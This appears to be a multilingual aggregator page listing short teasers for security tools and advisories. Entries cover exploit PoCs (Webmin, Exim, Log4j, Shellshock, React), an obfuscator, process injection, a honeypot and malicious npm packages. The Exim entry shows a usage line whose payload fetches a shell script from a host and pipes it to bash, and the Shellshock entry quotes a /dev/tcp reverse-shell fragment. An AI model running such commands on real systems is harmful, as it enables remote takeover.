Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Strumento di sfruttamento avanzato per Webmin CVE-2022-0824 - Supporta doppia modalità: esecuzione di comandi e reverse shell !IMPORTANT Uno strumento di sfruttamento avanzato per la vulnerabilità Webmin CVE-2022-0824, supporta due modalità:...

haptyc

Haptyc Test Generation Framework What's Haptyc? Haptyc is a python library which was built to add payload position support and Sniper/Clusterbomb/Batteringram/Pitchfork attack types into Turbo Intruder. While Haptyc accomplishes these goals fairly well it also introduces a simpler way to express...

SpringPeace

SpringPeace SpringPeace ist eine GUI/CLI unter GPL-3.0-or-later zur Erstellung von Payload-Kandidaten aus Android boot.img für CVE-2026-43499. Die Windows-App prüft ADB, liest boot.img, erstellt payload.so-Kandidaten und testet sie über ADB in Manifest-Reihenfolge. SpringPeace ist eine GUI/CLI...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC zur Ausnutzung der Sicherheitslücke CVE-2019-10149 Nutzungsbeispiel python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell PoC come parte di una ricerca di sicurezza per una patch di vulnerabilità Panoramica root@kitploit: In questo repository tratterò diversi argomenti e implementazioni che forniscono una PROVA DI CONCETTO riguardante la vulnerabilità Log4J 2.17.0...

onelinepy

onelinepy Python Obfuscator for FUD Python Code. Download & Run root@kitploit: git clone https://github.com/spicesouls/onelinepy cd onelinepy chmod +x setup.sh ./setup.sh onelinepy Usage Guide root@kitploit: | || | . | | -| | | | -| . | | |Python |||||||||| | |Obfuscator || || usage: oneline.py -...

gstreamer: GStreamer: Remote Code Execution via Use-After-Free in rtpsbcdepay

A flaw was found in GStreamer. This use-after-free vulnerability in the rtpsbcdepay element, specifically during the processing of Real-time Transport Protocol RTP payload elements, allows a remote attacker to execute arbitrary code. The issue arises from a lack of validation for an object's...

gstreamer: GStreamer: Remote Code Execution via Use-After-Free in rtpsbcdepay

A flaw was found in GStreamer. This use-after-free vulnerability in the rtpsbcdepay element, specifically during the processing of Real-time Transport Protocol RTP payload elements, allows a remote attacker to execute arbitrary code. The issue arises from a lack of validation for an object's...

process_overwriting

Process Overwriting Process Overwriting is a PE injection technique, closely related to Process Hollowing and Module Overloading. With its help, you can replace the main executable not a DLL of the target process. It works only for a newly created process - injection to existing processes is not...

citrix-honeypot

Honeypot Citrix ADC NetScaler Detecta e registra payloads para CVE-2019-19781 Shitrix / Citrixmash Registra tentativas de login falhadas Serve conteúdo e cabeçalhos obtidos de um appliance real para aumentar a chance de indexação em motores de busca ex.: google, shodan etc. Instalação Pré-compila...

Malicious code in chai-as-mno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2e94e194f078c230d6c6b15efcddc54b133fd52c890a55b0f8bdb4c680452381 The package name mimics chai-as-promised and its README, badges, and license text are copied from an unrelated project pino, while the package.json...

MAL-2026-14426 Malicious code in babel-polyfill-plugin-corejs2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 13878d994b01607c379e26646449b7cca95099f9b2eb5be2e1f8e19aeea32eb3 The package advertises itself as a Babel core-js 2 polyfill plugin, but the shipped lib/index.js contains unrelated web3-core-subscriptions boilerpla...

Malicious code in babel-polyfill-plugin-corejs2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 13878d994b01607c379e26646449b7cca95099f9b2eb5be2e1f8e19aeea32eb3 The package advertises itself as a Babel core-js 2 polyfill plugin, but the shipped lib/index.js contains unrelated web3-core-subscriptions boilerpla...

CVE-2024-54951

Monica-Gespeicherte-XSS-Schwachstelle CVE-2024-54951 CVE-2024-54951 Ich habe das Entwicklungsteam von Monica am 20.11.2024 per E-Mail kontaktiert. Ich habe sie auch über LinkedIn per Kontaktanfrage und in den folgenden Wochen über andere Plattformen kontaktiert. Veröffentlichung hier, da nach 3...

react-ssr-vulnerability

CVE-2025-55182 - POC RCE per React Server Components Questo è un POC solo per scopi educativi e di ricerca sulla sicurezza. Questa vulnerabilità è stata risolta nelle ultime versioni dei pacchetti interessati. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ricevuto...

CVE-2014-6271

Hellshocker 0.1.1 Tool zur Ausnutzung der Shellshock-Sicherheitslücke Müde von schwachen Shellshock-Exploits oder einfach nur "/bin/bash & /dev/tcp/IP/port 0&1" in den Server zu gelangen? Ja, du musst etwas Komplexeres auf den Server hochladen und ausführen, und das Base64-Kodieren einer riesigen...

CVE-2026-65053

Horde IMP's AppleDouble MIME viewer writes an attacker-controlled attachment name into an HTML status block without escaping it. In lib/Mime/Viewer/Appledouble.php, IMPrender obtains the name of the data part with IMPContents::getPartName, which returns the MIME part's own name parameter as...

CVE-2026-78414

A cross-site scripting (XSS) vulnerability exists in the Web Administration interface of Network Optix Nx Witness VMS before version 6.1.3 (Linux, Windows, macOS). An adjacent-network attacker who controls a rogue Nx server on the same network segment can set that server's site name to a script p...

byob

Fragen? Schauen Sie sich die Dokumentation an oder treten Sie unserem Discord-Support-Server bei. Haftungsausschluss : Dieses Projekt sollte nur für autorisierte Tests oder zu Bildungszwecken verwendet werden. BYOB ist ein Open-Source-Post-Exploitation-Framework für Studenten, Forscher und...

CVE-2026-71980

A flaw was found in Belledonne Communications bcg729. This out-of-bounds read vulnerability in the decodeSIDframe function allows unauthenticated network-adjacent attackers to trigger a heap read beyond buffer boundaries. This occurs by sending a zero-length comfort-noise Real-time Transport...